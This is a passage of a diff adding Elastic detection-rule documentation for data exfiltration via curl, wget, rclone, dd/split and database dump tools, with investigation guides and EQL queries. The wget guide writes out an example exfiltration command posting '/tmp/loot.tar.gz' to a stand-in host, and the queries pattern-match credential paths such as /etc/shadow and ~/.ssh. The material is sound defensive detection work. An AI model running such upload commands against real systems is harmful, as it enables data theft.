trigger the rule. Educate these users on the potential alerts and establish a process for them to notify security teams of their activities to prevent unnecessary investigations. +- Scheduled tasks or cron jobs that use curl for routine data uploads should be reviewed and, if deemed safe, added to an exception list to avoid repeated false positives. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further data exfiltration and contain the threat. +- Terminate any suspicious curl processes identified by the detection rule to stop ongoing data transfers. +- Conduct a forensic analysis of the affected system to identify any additional malicious activities or compromised data. +- Change credentials and access keys that may have been exposed or used during the incident to prevent unauthorized access. +- Notify the security operations team and relevant stakeholders about the incident for awareness and further action. +- Review and update firewall and network security rules to block unauthorized outbound traffic, especially to suspicious or unknown external servers. +- Implement enhanced monitoring and logging for curl usage and similar data transfer tools to detect and respond to future exfiltration attempts promptly. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name : ("curl", "curl.exe") and +( + process.args in ("-T", "--upload-file") or + ( + (process.args in ("-F", "-d", "--form") or process.args like "--data*") and process.command_line like "*@*" + ) +) and +( + process.command_line like ("*http:*", "*https:*", "*ftp:*", "*ftps:*") or + process.command_line regex ".*[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}.*" +) and +not ( + process.args : ( + "https://*/ap/fleet/*", "https://*/api/saved_objects/*", "http*localhost:*", "http*127.0.0.*", "*ApiKey*", "http*.us-central1.run.app/*", + "*Authorization*", "*session.id*", "http*.elastic-cloud.com*", "http*.elastic.dev*", "http*.elastic.cloud*", "http*.aws.found.io*", + "http*.gcp.cloud.es.io*", "http*.cisco.com/api/*", "-u", "http://192.168*", + "*incoming.telemetry.mozilla.org*", "*cloudamize.com*" + ) or + process.args == "--unix-socket" or + process.parent.name like "clevis*" or + ?process.parent.executable in ("/usr/bin/clevis-decrypt-tang", "/bin/clevis-decrypt-tang") or + ( + ?process.parent.command_line like "*oracle/retina/vvaa-*" and + process.working_directory == "/home/oracle" + ) or + ( + process.working_directory == "/home/oracle" and + process.args == "--trace" and + ?process.parent.executable like "/home/oracle/retina/vvaa-*-oracle/app/*.sh" + ) or + ( + process.working_directory == "/home/service/common/system.check" and + ?process.parent.command_line == "/bin/bash ./check.sh" + ) or + ( + ?process.parent.executable == "C:\\Windows\\SysWOW64\\cmd.exe" and + ?process.parent.args like "?:\\*\\temp-app\\caller_batch_*.bat" + ) or + ( + ?process.parent.executable == "/opt/rudder/share/commands/agent-run" and + ?process.parent.command_line == "/bin/sh /opt/rudder/share/commands/agent-run -uRN" and + process.args like "/var/rudder/reports/ready/*" + ) or + ( + ?process.parent.executable like "/var/lib/docker/overlay2/*/merged/usr/bin/bash" and + ?process.parent.command_line like "bash /home/*/old/scripts/crawler.sh start" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Alternative Protocol +** ID: T1048 +** Reference URL: https://attack.mitre.org/techniques/T1048/ +* Sub-technique: +** Name: Exfiltration Over Symmetric Encrypted Non-C2 Protocol +** ID: T1048.001 +** Reference URL: https://attack.mitre.org/techniques/T1048/001/ +* Sub-technique: +** Name: Exfiltration Over Unencrypted Non-C2 Protocol +** ID: T1048.003 +** Reference URL: https://attack.mitre.org/techniques/T1048/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-data-exfiltration-through-wget.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-data-exfiltration-through-wget.asciidoc new file mode 100644 index 0000000000..5d66ba7d2c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-data-exfiltration-through-wget.asciidoc @@ -0,0 +1,181 @@ +[[prebuilt-rule-8-19-34-potential-data-exfiltration-through-wget]] +=== Potential Data Exfiltration Through Wget + +Detects the use of wget to upload files to an internet server. Threat actors often will collect data on a system and attempt to exfiltrate it back to their command and control servers. Use of wget in this way, while not inherently malicious, should be considered highly abnormal and suspicious activity. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://gtfobins.github.io/gtfobins/wget/ +* https://cloud.google.com/blog/topics/threat-intelligence/disrupting-gridtide-global-espionage-campaign?hl=en + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Exfiltration +* Data Source: Auditd Manager +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Download Tool Abuse +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Data Exfiltration Through Wget* + + +This rule flags Linux processes that launch wget with options that upload a local file via HTTP POST, a behavior used to exfiltrate staged data to an external server. Attackers gather files, compress them in /tmp, then execute wget --post-file=/tmp/loot.tar.gz https://example.com/upload from a non-interactive shell or cron job to covertly push the archive out over standard web traffic. + + +*Possible investigation steps* + + +- Pull the full command line to extract the posted file path, verify the file still exists, capture size/timestamps, and hash its contents to gauge sensitivity and origin. +- Review the process tree and session context (parent, user, TTY, cron/systemd/container) and correlate with recent logins or scheduler entries to determine whether this was automated or a remote shell action. +- Enrich the destination endpoint with DNS, WHOIS, certificate, proxy, and egress firewall logs, and check for prior communications from this host to the same domain/IP to assess legitimacy. +- Pivot 30–60 minutes prior on the host/user for staging activity such as tar/gzip in /tmp, bulk file collection, or discovery commands, and interrogate shell history and filesystem events tied to the posted file. +- If the file was removed post-upload, attempt recovery from EDR or backups and estimate exfil volume and content types via proxy or egress gateway logs to determine impact and drive containment. + + +*False positive analysis* + + +- A maintenance or monitoring script run via cron posts log archives or configuration snapshots using wget --post-file to an internal HTTP endpoint for routine diagnostics. +- An administrator or developer testing a web form or API uses wget --body-file to POST a sample file during troubleshooting, producing a benign one-off event. + + +*Response and remediation* + + +- Immediately isolate the host, terminate the offending wget process, block outbound HTTP(S) to the destination domain/IP seen in the command wget --post-file=/path/to/file https://example.com/upload, and quarantine the posted file path and its parent directory. +- Identify and disable any cron, systemd, or shell script that invoked wget with --post-file or --body-file (e.g., entries in /etc/cron.d/, user crontabs, or /home/user/.local/bin/upload.sh), delete the script, and revoke the invoking account’s API tokens and SSH keys. +- Remove staged archives and temp files referenced in the upload (e.g., /tmp/loot.tar.gz and /var/tmp/*.gz), delete companion tooling or collection scripts found alongside them, and reimage the host if system integrity cannot be assured. +- If the posted content includes credentials, source code, or customer data, rotate affected passwords/keys, invalidate tokens, notify data owners, and restore impacted systems or files from known-good backups. +- Escalate to incident response and initiate wider containment if the destination domain/IP is not owned by the organization or resolves to an anonymizing/VPS service, if multiple hosts exhibit wget --post-file from non-interactive sessions, or if the uploader executed as root. +- Harden by enforcing SELinux/AppArmor policies that restrict wget/curl from posting files, requiring egress web proxy allowlists for HTTP POST destinations, adding detections for wget --post-file/--body-file and curl --upload-file/-F, and removing wget from systems where it is unnecessary. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name == "wget" and ?process.parent.executable != null and ( + process.args like ("--post-file*", "--post-data*", "--body-file*") or + ( + process.command_line like ("*cat*", "*base64*") and + process.command_line like ( + "*/etc/passwd*", "*/etc/shadow*", "*~/.ssh/*", "*.env*", "*credentials*", "*/tmp/*", + "*/var/tmp/*", "*/dev/shm/*", "*/home/*/*", "*/root/*" + ) + ) +) and +( + process.command_line like ("*http:*", "*https:*") or + process.command_line regex ".*[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}.*" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Alternative Protocol +** ID: T1048 +** Reference URL: https://attack.mitre.org/techniques/T1048/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-data-exfiltration-via-rclone.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-data-exfiltration-via-rclone.asciidoc new file mode 100644 index 0000000000..43706b00e0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-data-exfiltration-via-rclone.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-34-potential-data-exfiltration-via-rclone]] +=== Potential Data Exfiltration via Rclone + +Identifies abuse of rclone (or a renamed copy, e.g. disguised as a security or backup utility) to exfiltrate data to cloud storage or remote endpoints. Rclone is a legitimate file sync tool; threat actors rename it to blend with administrative traffic and use copy/sync with cloud backends (e.g. :s3:) and include filters to exfiltrate specific file types. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1048/ +* https://rclone.org/commands/rclone_copy/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Exfiltration +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Data Source: Elastic Endgame +* Data Source: Windows Security Event Logs +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Data Exfiltration via Rclone* + + +Rclone is a legitimate file synchronization tool. Threat actors abuse it (often renamed, e.g. to TrendFileSecurityCheck.exe) to exfiltrate data to S3, HTTP endpoints, or other cloud backends, using `copy`/`sync` with `--include` filters and high `--transfers` to move specific file types at scale. + + +*Possible investigation steps* + + +- Confirm the command line for `copy`/`sync`, cloud backend (e.g. `:s3:`, `:http`), and options like `--include`, `--transfers`, `-P`. +- If the process name is not `rclone.exe`, compare with `process.pe.original_file_name`; a mismatch indicates a renamed copy used to evade name-based detection. +- From the command line, identify the source path (e.g. UNC or local) and the remote backend (S3 bucket, HTTP endpoint) as the exfil destination. +- Review `--include`/`--exclude` and `--max-age`/`--max-size` to understand what data was targeted (documents, CAD, archives, etc.). +- Correlate with the process executable path (recently dropped?), parent process, and user; look for outbound network to the same backend. + + +*False positive analysis* + + +- Legitimate backup or sync jobs using rclone from a known path and config may trigger; allowlist by process path or `--config` path for approved rclone usage. + + +*Response and remediation* + + +- Terminate the rclone process and isolate the host if exfiltration is confirmed. +- Identify and revoke access to the destination (S3 bucket, API keys, etc.); preserve logs for the exfil session. +- Determine scope of data exposed and notify stakeholders; rotate credentials and secrets that may have been in exfiltrated paths. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "rclone.exe" or ?process.pe.original_file_name == "rclone.exe") and process.args : ("copy", "sync") and + not process.args : ("--config=?:\\Program Files\\rclone\\config\\rclone\\rclone.conf", "--config=?:\\Program Files (x86)\\rclone\\config\\rclone\\rclone.conf") and + not process.executable : ("?:\\Program Files*", "\\Device\\HarddiskVolume*\\Program Files*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Alternative Protocol +** ID: T1048 +** Reference URL: https://attack.mitre.org/techniques/T1048/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Cloud Storage +** ID: T1567.002 +** Reference URL: https://attack.mitre.org/techniques/T1567/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Rename Legitimate Utilities +** ID: T1036.003 +** Reference URL: https://attack.mitre.org/techniques/T1036/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-data-splitting-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-data-splitting-detected.asciidoc new file mode 100644 index 0000000000..0058c98663 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-data-splitting-detected.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-34-potential-data-splitting-detected]] +=== Potential Data Splitting Detected + +This rule looks for the usage of common data splitting utilities with specific arguments that indicate data splitting for exfiltration on Linux systems. Data splitting is a technique used by adversaries to split data into smaller parts to avoid detection and exfiltrate data. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Exfiltration +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Data Splitting Detected* + + +Data splitting utilities on Linux, such as `dd` and `split`, are typically used for managing large files by dividing them into smaller, more manageable parts. Adversaries exploit these tools to covertly exfiltrate data by splitting it into inconspicuous segments. The detection rule identifies suspicious use of these utilities by monitoring specific command-line arguments and excluding benign processes, thereby flagging potential exfiltration activities. + + +*Possible investigation steps* + + +- Review the process details to confirm the use of data splitting utilities like 'dd', 'split', or 'rsplit' with suspicious arguments such as 'bs=*', 'if=*', '-b', or '--bytes*'. +- Examine the parent process name to ensure it is not a benign process like 'apport' or 'overlayroot', which are excluded in the rule. +- Investigate the source and destination paths specified in the process arguments to determine if they involve sensitive or unusual locations, excluding paths like '/tmp/nvim*', '/boot/*', or '/dev/urandom'. +- Check the user account associated with the process to assess if it has a history of legitimate use of these utilities or if it might be compromised. +- Analyze recent network activity from the host to identify any potential data exfiltration attempts, especially if the process involves external connections. +- Correlate this alert with other security events or logs from the same host to identify any patterns or additional indicators of compromise. + + +*False positive analysis* + + +- Processes related to system maintenance or updates, such as those initiated by the 'apport' or 'overlayroot' processes, may trigger false positives. Users can mitigate this by ensuring these parent processes are included in the exclusion list. +- Backup operations that use 'dd' or 'split' for legitimate data management tasks can be mistaken for exfiltration attempts. Exclude specific backup scripts or processes by adding their unique identifiers or arguments to the exclusion criteria. +- Development or testing environments where 'dd' or 'split' are used for creating test data or simulating data transfer can generate false alerts. Identify and exclude these environments by specifying their process names or argument patterns. +- Automated scripts that use 'dd' or 'split' for routine data processing tasks should be reviewed and, if benign, added to the exclusion list to prevent unnecessary alerts. +- Regular system operations involving '/dev/random', '/dev/urandom', or similar sources should be excluded, as these are common in non-malicious contexts and are already partially covered by the rule's exclusions. + + +*Response and remediation* + + +- Immediately isolate the affected Linux system from the network to prevent further data exfiltration. +- Terminate any suspicious processes identified by the detection rule, specifically those involving the `dd`, `split`, or `rsplit` utilities with the flagged arguments. +- Conduct a thorough review of recent file access and modification logs to identify any unauthorized data handling or exfiltration attempts. +- Restore any potentially compromised data from secure backups, ensuring that the restored data is free from any malicious alterations. +- Implement stricter access controls and monitoring on sensitive data directories to prevent unauthorized access and manipulation. +- Escalate the incident to the security operations center (SOC) for further investigation and to determine if additional systems are affected. +- Enhance monitoring and alerting for similar suspicious activities by integrating additional threat intelligence sources and refining detection capabilities. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and + event.action in ("exec", "exec_event", "start", "ProcessRollup2") and + ( + (process.name == "dd" and process.args like "bs=*" and process.args like "if=*") or + ( + process.name in ("split", "rsplit") and + ( + (process.args == "-b" or process.args like "--bytes*") or + (process.args == "-C" or process.args like "--line-bytes*") + ) + ) + ) and + not ( + process.parent.name in ("apport", "overlayroot", "nessus-agent-module") or + process.args like ( + "if=/tmp/nvim*", "if=/boot/*", "if=/dev/random", "if=/dev/urandom", "/dev/mapper/*", + "if=*.iso", "of=/dev/stdout", "if=/dev/zero", "if=/dev/sda", "/proc/sys/kernel/*" + ) or + ?process.parent.args in ("/etc/init.d/apport", "/usr/bin/spectre-meltdown-checker") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Data Transfer Size Limits +** ID: T1030 +** Reference URL: https://attack.mitre.org/techniques/T1030/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-database-dumping-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-database-dumping-activity.asciidoc new file mode 100644 index 0000000000..078dfe99ba --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-database-dumping-activity.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-34-potential-database-dumping-activity]] +=== Potential Database Dumping Activity + +This rule detects the use of database dumping utilities to exfiltrate data from a database. Attackers may attempt to dump the database to a file on the system and then exfiltrate the file to a remote server. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/blog/topics/threat-intelligence/disrupting-gridtide-global-espionage-campaign?hl=en + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Exfiltration +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Database Dumping Activity* + + +This alert flags a Linux process starting a common database export tool, which matters because these utilities can quickly copy entire datasets into portable files for theft. An attacker with shell access may run mysqldump, pg_dump, or mongodump to dump customer records or application data to disk and then transfer the archive off the host over a separate network channel. + + +*Possible investigation steps* + + +- Review the full command line, parent and ancestor process chain, and execution user to determine whether the dump was launched by approved backup automation, an administrator shell, or an unexpected process such as a web server or scripting interpreter. +- Validate whether the account and host normally perform database backups by comparing the activity with change windows, cron or systemd timer jobs, deployment scripts, and historical executions on this and similar systems. +- Identify any dump artifacts created around the alert by looking for new large files, archive or compression activity, staging in temporary directories, or writes to mounted shares that could indicate preparation for transfer. +- Examine surrounding authentication and network activity for signs of compromise or exfiltration, including recent SSH or VPN access to the host, unusual database logins, and outbound connections or file transfers shortly after the dump began. +- If the activity is not authorized, isolate the host as appropriate and scope for related activity across the environment by searching for the same user, parent process, command pattern, and follow-on transfer utilities on other systems. + + +*False positive analysis* + + +- Scheduled backup or maintenance scripts may legitimately run pg_dump, mysqldump, or mongodump on Linux database hosts; confirm the execution user, parent process, and timing match documented cron or systemd jobs and that the output is written to the expected backup location. +- A DBA or application administrator may manually export data for migration, troubleshooting, or upgrade validation; verify the user account, shell history or change records, and command-line options align with an approved maintenance task and that no unusual outbound transfer follows the dump. + + +*Response and remediation* + + +- Quarantine the affected Linux host from the network except for approved management access, stop any active pg_dump, mysqldump, mariadb-dump, pg_dumpall, or mongodump activity and any follow-on compression or transfer processes, and block the account and destination used to stage the dump. +- Remove attacker persistence by deleting unauthorized cron jobs, systemd services or timers, startup scripts, SSH authorized_keys entries, web shells, and any scripts or binaries used to create, archive, or move the database export. +- Revoke and rotate the database credentials, local passwords, SSH keys, and API tokens exposed on the host, then review database users for newly granted backup, export, replication, or superuser privileges and disable anything not explicitly approved. +- Restore to a known-good state by rebuilding the host or reverting from a trusted image, validating the database against clean backups, and deleting dump files, archives, and copied datasets from temporary directories, mounted shares, and storage buckets. +- Escalate to incident response immediately if any dump file was transferred to an external server, cloud service, or user workstation, if similar dumping activity is found on other hosts, or if the attacker used a privileged administrator or database account. +- Harden the environment by limiting dump utilities to approved backup hosts and service accounts, enforcing MFA and least privilege for administrators, restricting outbound network paths from database servers, and alerting on new dump archives or unexpected database export tool execution. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +process.name in ("pg_dump", "pg_dumpall", "mysqldump", "mariadb-dump", "mongodump") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: 